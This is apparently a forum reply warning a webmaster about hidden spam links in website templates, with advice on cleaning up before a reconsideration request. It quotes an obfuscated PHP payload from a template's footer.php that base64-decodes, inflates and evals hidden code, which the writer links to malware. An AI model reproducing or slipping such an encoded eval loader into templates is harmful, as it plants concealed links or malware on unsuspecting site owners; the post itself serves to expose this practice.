It looks like you have made some good progress with regards to those
links. However, I'm still seeing templates being distributed with
them; not only that, the links are disguised in a way that the average
webmaster cannot find them. For example, one template I was
looking at contained the following as "footer.php" (with spaces
added):

<?php $Lb7c75a7d0c13508a6d47965db04098bb='pVRbb5swFH6vt
P9w5GltKjVAsoeuDXG0Zav6WLVT94iMOYAlsJntBLXqj5+BEIVcqmnz
iy/n8n3n4rOgoWVxgVCLxOZzMgmCTwRipRPUcxIQ4FgUpmJcyGx7r1i
StPcpoR/OAEKr2705JZCjyHI7J9c3hJ7L2FSz0LdJp+hvNI9bTG8cdM
ZVoRz2xyCZ8M/XhIaJWAMvmDFzcqeURU0odMatg4qGxmolMxrGvdeNK
FXSQu/vrl0EjHhFFyiBlHF3eEadMMmu4KsWrLiCeyzWaAV3L4ZJMzao
RUroUlUvuqEJuwjn3D3PYBoEX2A8kIQLiAuVCZmq0YVkJV5czmAxoDe
GB1WjxgTil9BvuNKO8b8xHMIzyDWmc5JbW936fl3XHivZqytb7YpbaT
TG5lii8bgqCT2aKvrLqT40qgPfP1u7nrHPThi7+JbKtdEt9KpHONUY5
8pYT+nMwWE8ALp3Ekf4HQgfvqMRmXQ5/Nbn8Gjsa8aZFUpqZIV96WJ+
3rwNMB9RWlaYFrOPsG8vv6LDvvuPam1Jhosqr3Z6RRszjVa66PrlVGV
+SKsFml3mo8enp8udqhxvf/p2kKZ9Bi45pcuCif6OynKj/h4X7wSZDh
p5riBDG8lVGf1eYRPZ6OC7bATe8Jc19laUqCNjVTWaHJgZ5Eomxtuya
bdDJ3UVpe102UfeLXvou2G0d9ufbm5rJmoX29kf';eval(gzinflate
(base64_decode($Lb7c75a7d0c13508a6d47965db04098bb))); ?>

Personally, I think having footer links are fine if they are relevant
to the site or template and nofollow'ed. However, hiding them in this
style is - in my opinion - not ok at all. Just this week I helped a
friend with his template: it had a block of code similar to this in
it. It turned out that not only was it hiding links, it was also
spreading malware. It really upsets me to find code like this in a
template: it shows that whoever made the template not only knew the
contents were not ok, but also wanted to prevent the user from finding
or editing it.

When submitting a reconsideration request, it's always good to make
sure that as much as possible is cleaned up and detailed in your
report (including potential paid links in other forms).

Hope it helps!
John